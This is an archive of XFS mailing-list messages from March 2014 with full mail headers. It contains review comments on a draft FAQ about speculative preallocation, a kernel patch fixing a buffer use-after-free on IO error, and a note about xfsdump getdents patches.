+1030 Received: from dave by dastard with local (Exim 4.80) (envelope-from ) id 1WR8Vd-0001bn-LG; Sat, 22 Mar 2014 10:05:53 +1100 Date: Sat, 22 Mar 2014 10:05:53 +1100 From: Dave Chinner To: Brian Foster Cc: xfs@oss.sgi.com Subject: Re: [FAQ] XFS speculative preallocation Message-ID: <20140321230553.GB1389@dastard> X-ASG-Orig-Subj: Re: [FAQ] XFS speculative preallocation References: <20140321162920.GA3087@laptop.bfoster> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20140321162920.GA3087@laptop.bfoster> User-Agent: Mutt/1.5.21 (2010-09-15) X-Barracuda-Connect: ipmail06.adl6.internode.on.net[150.101.137.145] X-Barracuda-Start-Time: 1395443186 X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.3.4135 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On Fri, Mar 21, 2014 at 12:29:20PM -0400, Brian Foster wrote: > Hi all, > > Eric had suggested we add an FAQ entry for speculative preallocation > since it seems to be a common question, so I offered to write something > up. I started with a single entry but split it into a couple Q's when it > turned into TL;DR fodder. ;) > > The text is embedded below for review. Thoughts on the questions or > content is appreciated. Also, once folks are Ok with this... how does > one gain edit access to the wiki? Request an account and wait for one of us admins to ack it. FWIW, what I'd really like is for the FAQ to be converted to a asciidoc document in the xfs-documentation tree. The current FAQ has lots of stuff that could do with updating, but editing a wiki document that long in a browser is, well, painful. We can then publish the build html version of the FAQ on the wiki... > Brian > > --- > > Q: Why do files on XFS use more data blocks than expected? > > A: > > The XFS speculative preallocation algorithm allocates extra blocks > beyond end of file (EOF) to combat fragmentation under parallel > sequential write workloads. "minimise file fragmentation during buffered write workloads. Workloads that benefit from this behaviour include slowly growing files, concurrent writers and mixed reader/writers workloads. It also provides fragmentation resistence in situations where memory pressure prevents adequate buffering of dirty data to allow large contiguous regions of dirty data to be formed in memory." > This post-EOF block allocation is included "is accounted identically to blocks withing EOF. It is visible..." > in 'st_blocks' counts via stat() system calls and is accounted as > globally allocated space by the filesystem. This is reported by various > userspace utilities (stat, du, df, ls) and thus provides a common source > of confusion for administrators. Post-EOF blocks are temporary in most > situations and are usually reclaimed via several possible mechanisms in > XFS. Also accounted for in quotas. > See the FAQ entry on speculative preallocation for details. > > Q: What is speculative preallocation? How can I manage it? > > A: > > XFS speculatively preallocates post-EOF blocks on file extending writes > in anticipation of future extending writes. The size of a preallocation > is dynamic and depends on the size of the previous extent in the file > (starting from 0 again if the write extends past a hole). I'd keep specific heuristics out of the description. Heuristics change.... > As files grow > larger, so do the size of preallocations. Speculative preallocation is > not enabled for files smaller than a minimum size (64k by default, but > can vary depending on filesystem geometry and/or mount options). Again, actual numbers should probably be avoided, because we can change that at will... > Preallocations are capped at a maximum of 8GB on 4k block filesystems. "capped at a single extent of the maximum supported size of the filesystem" > Preallocation is throttled automatically as the filesystem approaches > low free space conditions or other allocation limits on a file (such as > a quota). "Preallocation size is throttled..." > In most cases, speculative preallocation is automatically reclaimed when > a file is closed. The preallocation may persist after file close if an > open, write, close pattern is repeated on a file. In this scenario, > post-EOF preallocation is trimmed once the inode is reclaimed from cache > or the filesystem unmounted. I'd rewrite this slightly differently, saying that preallocation "may persist beyond the lifecycle of any given file descriptor." And then describe the reason for this - that certain application behaviours (like slowly growing files, or file servers) can cause fragmentation if we remove the preallocation on fd close. These behaviours are automatically detected, and result in "delayed removal" of the preallocation. Q: How can I speed up or avoid delayed removal of speculative preallocation? A. Removing the inode from the VFS cache or unmounting the filesystem will remove speculative preallocations associated with an inode. > Linux 3.8 (and later) includes a scanner to perform background trimming > of files with lingering post-EOF preallocations. The scanner bypasses > files that have been recently modified to not interfere with ongoing > writes. A 5 minute scan interval is used by default and can be adjusted > via the following file (value in seconds): > > /proc/sys/fs/xfs/speculative_prealloc_lifetime > Q: Is speculative preallocation permanent? A: > Although speculative preallocation can lead to reports of excess space > usage, the preallocated space is not permanent unless explicitly made so > via fallocate or a similar interface. Preallocated space can also be > encoded permanently in situations where file size is extended beyond a > range of post-EOF blocks (i.e., via truncate). Otherwise, preallocated > blocks are reclaimed on file close, inode reclaim, unmount or in the > background once file write activity subsides. > Q: My workload has known characteristics - can I tune speculative preallocation to be an optimal fixed size? A. > Finally, the XFS block allocation algorithm can be configured to use a > fixed allocation size with the 'allocsize=' mount option. Note that > speculative preallocation does not occur when a fixed allocation size is > set and thus increases the potential for fragmentation via parallel > writes. This should say "dynamic resizing of speculative preallocation does not occur" rather than "speculative preallocation does not occur", because allocsize only determines the size of the speculative preallocation beyond EOF that is done - it doesn't turn it off... Cheers, Dave. -- Dave Chinner david@fromorbit.com From david@fromorbit.com Fri Mar 21 18:10:37 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 191687F83 for ; Fri, 21 Mar 2014 18:10:37 -0500 (CDT) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay1.corp.sgi.com (Postfix) with ESMTP id 00BB88F804B for ; Fri, 21 Mar 2014 16:10:36 -0700 (PDT) X-ASG-Debug-ID: 1395443434-04cbb054b95964a0001-NocioJ Received: from ipmail06.adl6.internode.on.net (ipmail06.adl6.internode.on.net [150.101.137.145]) by cuda.sgi.com with ESMTP id n7vQzxBVWglNNjji for ; Fri, 21 Mar 2014 16:10:34 -0700 (PDT) X-Barracuda-Envelope-From: david@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.145 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: Au5JAK3FLFN5LMWSPGdsb2JhbABZgwaDR4UMtT+FYoEYFwMBAQEBODWCJQEBAQMBOhwjBQsIAw4KCSUPBSUDBxoTh3EHz1IXFo5UB4MkgRQEmEiVcyk Received: from ppp121-44-197-146.lns20.syd7.internode.on.net (HELO dastard) ([121.44.197.146]) by ipmail06.adl6.internode.on.net with ESMTP; 22 Mar 2014 09:40:33 +1030 Received: from dave by dastard with local (Exim 4.80) (envelope-from ) id 1WR8a9-0001cP-2s; Sat, 22 Mar 2014 10:10:33 +1100 Date: Sat, 22 Mar 2014 10:10:33 +1100 From: Dave Chinner To: Florian Weimer Cc: Brian Foster , xfs@oss.sgi.com Subject: Re: [FAQ] XFS speculative preallocation Message-ID: <20140321231032.GC1389@dastard> X-ASG-Orig-Subj: Re: [FAQ] XFS speculative preallocation References: <20140321162920.GA3087@laptop.bfoster> <87eh1vuxam.fsf@mid.deneb.enyo.de> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <87eh1vuxam.fsf@mid.deneb.enyo.de> User-Agent: Mutt/1.5.21 (2010-09-15) X-Barracuda-Connect: ipmail06.adl6.internode.on.net[150.101.137.145] X-Barracuda-Start-Time: 1395443434 X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.3.4135 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On Fri, Mar 21, 2014 at 09:11:29PM +0100, Florian Weimer wrote: > * Brian Foster: > > > Although speculative preallocation can lead to reports of excess space > > usage, the preallocated space is not permanent unless explicitly made so > > via fallocate or a similar interface. > > How does an explicit allocation with posix_fallocate interact with > speculative preallocation? Does it disable it? fallocate is permanent preallocation using unwritten extents. Speculative preallocation is an extension of delayed allocation that is done when extending the file and the EOF falls into a hole. If there is unwritten extents beyond EOF, speulative preallocation is not performed. > I see rather dramatic fragmentation of the systemd journal when it is > stored on XFS, and it calls posix_fallocate before writing data to the > file. There's your problem - systemd is preventing delayed allocation, and so it fragmenting the file itself with it's write pattern. Basically, that's a bug in systemd, and not something the filesystem can avoid because userspace is directly controlling block allocation. Cheers, Dave. -- Dave Chinner david@fromorbit.com From sandeen@sandeen.net Fri Mar 21 18:13:33 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 6B4237F83 for ; Fri, 21 Mar 2014 18:13:33 -0500 (CDT) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay3.corp.sgi.com (Postfix) with ESMTP id 1D4B4AC001 for ; Fri, 21 Mar 2014 16:13:32 -0700 (PDT) X-ASG-Debug-ID: 1395443611-04bdf05dab7ce890001-NocioJ Received: from sandeen.net (sandeen.net [63.231.237.45]) by cuda.sgi.com with ESMTP id TBFoEYn9FZAcTzEY for ; Fri, 21 Mar 2014 16:13:31 -0700 (PDT) X-Barracuda-Envelope-From: sandeen@sandeen.net X-Barracuda-Apparent-Source-IP: 63.231.237.45 Received: from liberator.sandeen.net (liberator.sandeen.net [10.0.0.4]) (using TLSv1 with cipher DHE-RSA-AES128-SHA (128/128 bits)) (No client certificate requested) by sandeen.net (Postfix) with ESMTPSA id 975BA63C77A3; Fri, 21 Mar 2014 18:13:30 -0500 (CDT) Message-ID: <532CC79A.8050908@sandeen.net> Date: Fri, 21 Mar 2014 18:13:30 -0500 From: Eric Sandeen User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.9; rv:24.0) Gecko/20100101 Thunderbird/24.4.0 MIME-Version: 1.0 To: Dave Chinner , Florian Weimer CC: Brian Foster , xfs@oss.sgi.com Subject: Re: [FAQ] XFS speculative preallocation References: <20140321162920.GA3087@laptop.bfoster> <87eh1vuxam.fsf@mid.deneb.enyo.de> <20140321231032.GC1389@dastard> X-ASG-Orig-Subj: Re: [FAQ] XFS speculative preallocation In-Reply-To: <20140321231032.GC1389@dastard> X-Enigmail-Version: 1.6 Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 7bit X-Barracuda-Connect: sandeen.net[63.231.237.45] X-Barracuda-Start-Time: 1395443611 X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.3.4135 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On 3/21/14, 6:10 PM, Dave Chinner wrote: > On Fri, Mar 21, 2014 at 09:11:29PM +0100, Florian Weimer wrote: >> * Brian Foster: >> >>> Although speculative preallocation can lead to reports of excess space >>> usage, the preallocated space is not permanent unless explicitly made so >>> via fallocate or a similar interface. >> >> How does an explicit allocation with posix_fallocate interact with >> speculative preallocation? Does it disable it? > > fallocate is permanent preallocation using unwritten extents. > Speculative preallocation is an extension of delayed allocation that > is done when extending the file and the EOF falls into a hole. If > there is unwritten extents beyond EOF, speulative preallocation is > not performed. > >> I see rather dramatic fragmentation of the systemd journal when it is >> stored on XFS, and it calls posix_fallocate before writing data to the >> file. > > There's your problem - systemd is preventing delayed allocation, and > so it fragmenting the file itself with it's write pattern. > Basically, that's a bug in systemd, and not something the filesystem > can avoid because userspace is directly controlling block > allocation. hohum, I guess we should look into this. OTOH: nothing wrong with calling posix_fallocate() if you need the space guarantees it provides for proper operation... -Eric > Cheers, > > Dave. > From david@fromorbit.com Fri Mar 21 18:16:35 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id A75E47F83 for ; Fri, 21 Mar 2014 18:16:35 -0500 (CDT) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay3.corp.sgi.com (Postfix) with ESMTP id 2DCAAAC005 for ; Fri, 21 Mar 2014 16:16:35 -0700 (PDT) X-ASG-Debug-ID: 1395443791-04cbb054b7596780001-NocioJ Received: from ipmail06.adl6.internode.on.net (ipmail06.adl6.internode.on.net [150.101.137.145]) by cuda.sgi.com with ESMTP id aOmCMreAEtpwqGcu for ; Fri, 21 Mar 2014 16:16:32 -0700 (PDT) X-Barracuda-Envelope-From: david@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.145 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: AgBKAAPILFN5LMWSPGdsb2JhbABZgwaDR1KEOrU/hWKBGRcDAQEBATg1giUBAQEDASMPASMWCgMFCwgDGAICBSECAg8FJQMHGhOHcQesfqJVFxaBE41BB4JvNYEUBJhIlXMp Received: from ppp121-44-197-146.lns20.syd7.internode.on.net (HELO dastard) ([121.44.197.146]) by ipmail06.adl6.internode.on.net with ESMTP; 22 Mar 2014 09:46:18 +1030 Received: from dave by dastard with local (Exim 4.80) (envelope-from ) id 1WR8fh-0001dU-SW; Sat, 22 Mar 2014 10:16:17 +1100 Date: Sat, 22 Mar 2014 10:16:17 +1100 From: Dave Chinner To: Arkadiusz =?utf-8?Q?Mi=C5=9Bkiewicz?= Cc: xfs@oss.sgi.com Subject: Re: [FAQ] XFS speculative preallocation Message-ID: <20140321231617.GD1389@dastard> X-ASG-Orig-Subj: Re: [FAQ] XFS speculative preallocation References: <20140321162920.GA3087@laptop.bfoster> <201403211809.03683.arekm@maven.pl> MIME-Version: 1.0 Content-Type: text/plain; charset=utf-8 Content-Disposition: inline Content-Transfer-Encoding: 8bit In-Reply-To: <201403211809.03683.arekm@maven.pl> User-Agent: Mutt/1.5.21 (2010-09-15) X-Barracuda-Connect: ipmail06.adl6.internode.on.net[150.101.137.145] X-Barracuda-Start-Time: 1395443792 X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.3.4135 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On Fri, Mar 21, 2014 at 06:09:03PM +0100, Arkadiusz Miśkiewicz wrote: > On Friday 21 of March 2014, Brian Foster wrote: > > Hi all, > > > > Eric had suggested we add an FAQ entry for speculative preallocation > > since it seems to be a common question, so I offered to write something > > up. I started with a single entry but split it into a couple Q's when it > > turned into TL;DR fodder. ;) > > > > The text is embedded below for review. Thoughts on the questions or > > content is appreciated. Also, once folks are Ok with this... how does > > one gain edit access to the wiki? > > More questions or topics that can be converted to questions from me: > > 1) Before preallocation kernel did things differently. AFAIK it wasn't the > same as allocsize=64k, was it? Is there a way to get old behaviour or > something similar to old behaviour? The old behaviour is exactly that of allocsize=64k. > > modified to not interfere with ongoing > > writes. > > In case of some app that constantly writes to files (apache web server > writting to its logs for example) that background trimming will never do > anything for these files, right? If the inode is being constantly dirtied, then the speculative prealloc will not be removed by the background scanner. It only removes prealloc from clean inodes. > > A 5 minute scan interval is used by default and can be adjusted > > via the following file (value in seconds): > > > > /proc/sys/fs/xfs/speculative_prealloc_lifetime > > > > Although speculative preallocation can lead to reports of excess space > > usage, the preallocated space is not permanent unless explicitly made so > > via fallocate or a similar interface. Preallocated space can also be > > encoded permanently in situations where file size is extended beyond a > > range of post-EOF blocks (i.e., via truncate). Otherwise, preallocated > > blocks are reclaimed on file close, inode reclaim, unmount or in the > > background once file write activity subsides. > > So there is no mechanism that would shirnk preallocations in case when free > space is (almost or) gone on a fs? Background space trimmer takes care of that. We could probably also trigger it on ENOSPC, but once you are already at ENOSPC it's too late.... > Case: apache causes xfs to preallocate > several GB for its /var/..../{access,error}_log (common problem here) and then > free space ends on that fs causing problems for every app that writes to /var. Your log files would have to already be GB in size for that your apache logs to preallocate that much. If your log files are that big, then /var needs to be much, much larger than what the speculative prealloc for a handful of files could easily exhaust. Cheers, Dave. -- Dave Chinner david@fromorbit.com From david@fromorbit.com Fri Mar 21 18:18:05 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 85F0A7F88 for ; Fri, 21 Mar 2014 18:18:05 -0500 (CDT) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay1.corp.sgi.com (Postfix) with ESMTP id 79B9E8F804B for ; Fri, 21 Mar 2014 16:18:05 -0700 (PDT) X-ASG-Debug-ID: 1395443883-04cb6c567778e7f0001-NocioJ Received: from ipmail06.adl6.internode.on.net (ipmail06.adl6.internode.on.net [150.101.137.145]) by cuda.sgi.com with ESMTP id vkXgEtHCV2myrVCM for ; Fri, 21 Mar 2014 16:18:03 -0700 (PDT) X-Barracuda-Envelope-From: david@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.145 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: AutJAAPILFN5LMWSPGdsb2JhbABZgwaDR4UMtT+FYoEZFwMBAQEBODWCJQEBAQQ6HCMQCAMYCSUPBSUDBxoTh3jPUxcWjlQHgySBFASYSJVzKQ Received: from ppp121-44-197-146.lns20.syd7.internode.on.net (HELO dastard) ([121.44.197.146]) by ipmail06.adl6.internode.on.net with ESMTP; 22 Mar 2014 09:48:02 +1030 Received: from dave by dastard with local (Exim 4.80) (envelope-from ) id 1WR8hN-0001dk-IZ; Sat, 22 Mar 2014 10:18:01 +1100 Date: Sat, 22 Mar 2014 10:18:01 +1100 From: Dave Chinner To: Eric Sandeen Cc: Florian Weimer , Brian Foster , xfs@oss.sgi.com Subject: Re: [FAQ] XFS speculative preallocation Message-ID: <20140321231801.GE1389@dastard> X-ASG-Orig-Subj: Re: [FAQ] XFS speculative preallocation References: <20140321162920.GA3087@laptop.bfoster> <87eh1vuxam.fsf@mid.deneb.enyo.de> <20140321231032.GC1389@dastard> <532CC79A.8050908@sandeen.net> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <532CC79A.8050908@sandeen.net> User-Agent: Mutt/1.5.21 (2010-09-15) X-Barracuda-Connect: ipmail06.adl6.internode.on.net[150.101.137.145] X-Barracuda-Start-Time: 1395443883 X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.3.4135 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On Fri, Mar 21, 2014 at 06:13:30PM -0500, Eric Sandeen wrote: > On 3/21/14, 6:10 PM, Dave Chinner wrote: > > On Fri, Mar 21, 2014 at 09:11:29PM +0100, Florian Weimer wrote: > >> * Brian Foster: > >> > >>> Although speculative preallocation can lead to reports of excess space > >>> usage, the preallocated space is not permanent unless explicitly made so > >>> via fallocate or a similar interface. > >> > >> How does an explicit allocation with posix_fallocate interact with > >> speculative preallocation? Does it disable it? > > > > fallocate is permanent preallocation using unwritten extents. > > Speculative preallocation is an extension of delayed allocation that > > is done when extending the file and the EOF falls into a hole. If > > there is unwritten extents beyond EOF, speulative preallocation is > > not performed. > > > >> I see rather dramatic fragmentation of the systemd journal when it is > >> stored on XFS, and it calls posix_fallocate before writing data to the > >> file. > > > > There's your problem - systemd is preventing delayed allocation, and > > so it fragmenting the file itself with it's write pattern. > > Basically, that's a bug in systemd, and not something the filesystem > > can avoid because userspace is directly controlling block > > allocation. > > hohum, I guess we should look into this. > > OTOH: nothing wrong with calling posix_fallocate() if you need the space > guarantees it provides for proper operation... Right, but it's something that the filesystem has no real control over. We've been asked to allocate blocks immediately by fallocate(), and so we get what we get.... Cheers, Dave. -- Dave Chinner david@fromorbit.com From sandeen@redhat.com Fri Mar 21 21:48:57 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 9C5D27F87 for ; Fri, 21 Mar 2014 21:48:57 -0500 (CDT) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay3.corp.sgi.com (Postfix) with ESMTP id 116ECAC002 for ; Fri, 21 Mar 2014 19:48:56 -0700 (PDT) X-ASG-Debug-ID: 1395456532-04cbb054b659e3c0001-NocioJ Received: from mx1.redhat.com (mx1.redhat.com [209.132.183.28]) by cuda.sgi.com with ESMTP id gpUViYJDLIStqxFG for ; Fri, 21 Mar 2014 19:48:52 -0700 (PDT) X-Barracuda-Envelope-From: sandeen@redhat.com X-Barracuda-Apparent-Source-IP: 209.132.183.28 X-ASG-Whitelist: Client Received: from int-mx01.intmail.prod.int.phx2.redhat.com (int-mx01.intmail.prod.int.phx2.redhat.com [10.5.11.11]) by mx1.redhat.com (8.14.4/8.14.4) with ESMTP id s2M2mppV021437 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK) for ; Fri, 21 Mar 2014 22:48:52 -0400 Received: from liberator.sandeen.net (ovpn01.gateway.prod.ext.phx2.redhat.com [10.5.9.1]) by int-mx01.intmail.prod.int.phx2.redhat.com (8.13.8/8.13.8) with ESMTP id s2M2moOP004234 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES128-SHA bits=128 verify=NO) for ; Fri, 21 Mar 2014 22:48:51 -0400 Message-ID: <532CFA12.4040104@redhat.com> Date: Fri, 21 Mar 2014 21:48:50 -0500 From: Eric Sandeen User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.9; rv:24.0) Gecko/20100101 Thunderbird/24.4.0 MIME-Version: 1.0 To: xfs-oss Subject: [PATCH] xfs: fix buffer use after free on IO error X-Enigmail-Version: 1.6 X-ASG-Orig-Subj: [PATCH] xfs: fix buffer use after free on IO error Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 7bit X-Scanned-By: MIMEDefang 2.67 on 10.5.11.11 X-Barracuda-Connect: mx1.redhat.com[209.132.183.28] X-Barracuda-Start-Time: 1395456532 X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 When testing exhaustion of dm snapshots, the following appeared with CONFIG_DEBUG_OBJECTS_FREE enabled: ODEBUG: free active (active state 0) object type: work_struct hint: xfs_buf_iodone_work+0x0/0x1d0 [xfs] indicating that we'd freed a buffer which still had a pending reference, down this path: [ 190.867975] [] debug_check_no_obj_freed+0x22b/0x270 [ 190.880820] [] kmem_cache_free+0xd0/0x370 [ 190.892615] [] xfs_buf_free+0xe4/0x210 [xfs] [ 190.905629] [] xfs_buf_rele+0xe7/0x270 [xfs] [ 190.911770] [] xfs_trans_read_buf_map+0x7b6/0xac0 [xfs] At issue is the fact that if IO fails in xfs_buf_iorequest, we'll queue completion unconditionally, and then call xfs_buf_rele; but if IO failed, there are no IOs remaining, and xfs_buf_rele will free the bp while work is still queued. Fix this by not scheduling completion if the buffer has an error on it; run it immediately. The rest is only comment changes. Thanks to dchinner for spotting the root cause. Signed-off-by: Eric Sandeen --- p.s. or maybe this could be moved into _xfs_buf_ioend ... I think I see some nice cleanups for xfs_buf_ioend vs. _xfs_buf_ioend w.r.t. when "schedule" is true, so maybe I can clean it up then. diff --git a/fs/xfs/xfs_buf.c b/fs/xfs/xfs_buf.c index 9c061ef..45eb5ef 100644 --- a/fs/xfs/xfs_buf.c +++ b/fs/xfs/xfs_buf.c @@ -1361,21 +1361,29 @@ xfs_buf_iorequest( xfs_buf_wait_unpin(bp); xfs_buf_hold(bp); - /* Set the count to 1 initially, this will stop an I/O + /* + * Set the count to 1 initially, this will stop an I/O * completion callout which happens before we have started * all the I/O from calling xfs_buf_ioend too early. */ atomic_set(&bp->b_io_remaining, 1); _xfs_buf_ioapply(bp); - _xfs_buf_ioend(bp, 1); + /* + * If _xfs_buf_ioapply failed, we'll get back here with + * only the reference we took above. _xfs_buf_ioend will + * drop it to zero, so we'd better not queue it for later, + * or we'll free it before it's done. + */ + _xfs_buf_ioend(bp, bp->b_error ? 0 : 1); xfs_buf_rele(bp); } /* * Waits for I/O to complete on the buffer supplied. It returns immediately if - * no I/O is pending or there is already a pending error on the buffer. It - * returns the I/O error code, if any, or 0 if there was no error. + * no I/O is pending or there is already a pending error on the buffer, in which + * case nothing will ever complete. It returns the I/O error code, if any, or + * 0 if there was no error. */ int xfs_buf_iowait( From kmcmarti@redhat.com Sat Mar 22 00:12:14 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 889AA7F73 for ; Sat, 22 Mar 2014 00:12:14 -0500 (CDT) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay3.corp.sgi.com (Postfix) with ESMTP id D9F9BAC001 for ; Fri, 21 Mar 2014 22:12:10 -0700 (PDT) X-ASG-Debug-ID: 1395465129-04cb6c567679c060001-NocioJ Received: from mx1.redhat.com (mx1.redhat.com [209.132.183.28]) by cuda.sgi.com with ESMTP id o7q0jtLgAmzATsz5 for ; Fri, 21 Mar 2014 22:12:09 -0700 (PDT) X-Barracuda-Envelope-From: kmcmarti@redhat.com X-Barracuda-Apparent-Source-IP: 209.132.183.28 X-ASG-Whitelist: Client Received: from int-mx11.intmail.prod.int.phx2.redhat.com (int-mx11.intmail.prod.int.phx2.redhat.com [10.5.11.24]) by mx1.redhat.com (8.14.4/8.14.4) with ESMTP id s2M5C8x8024592 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK); Sat, 22 Mar 2014 01:12:08 -0400 Received: from redacted.bos.redhat.com ([10.18.17.143]) by int-mx11.intmail.prod.int.phx2.redhat.com (8.14.4/8.14.4) with ESMTP id s2M5C5qk011655 (version=TLSv1/SSLv3 cipher=AES128-SHA bits=128 verify=NO); Sat, 22 Mar 2014 01:12:07 -0400 Date: Sat, 22 Mar 2014 01:12:05 -0400 From: Kyle McMartin To: Eric Sandeen Cc: sandeen@redhat.com, xfs@oss.sgi.com Subject: Re: [PATCH] xfsdump: don't assume getdents exists Message-ID: <20140322051205.GB8095@redacted.bos.redhat.com> X-ASG-Orig-Subj: Re: [PATCH] xfsdump: don't assume getdents exists References: <20131106213635.GC24712@redacted.bos.redhat.com> <52A72930.4020404@sandeen.net> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <52A72930.4020404@sandeen.net> User-Agent: Mutt/1.5.21 (2010-09-15) X-Scanned-By: MIMEDefang 2.68 on 10.5.11.24 X-Barracuda-Connect: mx1.redhat.com[209.132.183.28] X-Barracuda-Start-Time: 1395465129 X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 On Tue, Dec 10, 2013 at 08:46:08AM -0600, Eric Sandeen wrote: > Hey Kyle - were you going to do a V2 of this one? > > Just checking, thanks - i've got a pair of somewhat more substantial patches to fix the ifdef hell in this file, clean things up so it works on both getdents64 only and not, and then rips out the pre-2.4.1 getdents code. https://github.com/jkkm/xfsdump/commit/e156bcf06effbf5f2e26c53efb0ce028c4281f9e https://github.com/jkkm/xfsdump/commit/fff56b471220a8fa305b9158c4f8f0c7344c8fe6 the latter looks quite a bit better... care to take a quick look and if they're decent, i'll submit them both. --kyle From david@fromorbit.com Sat Mar 22 03:53:30 2014 Return-Path: X-Spam-Checker-Version: 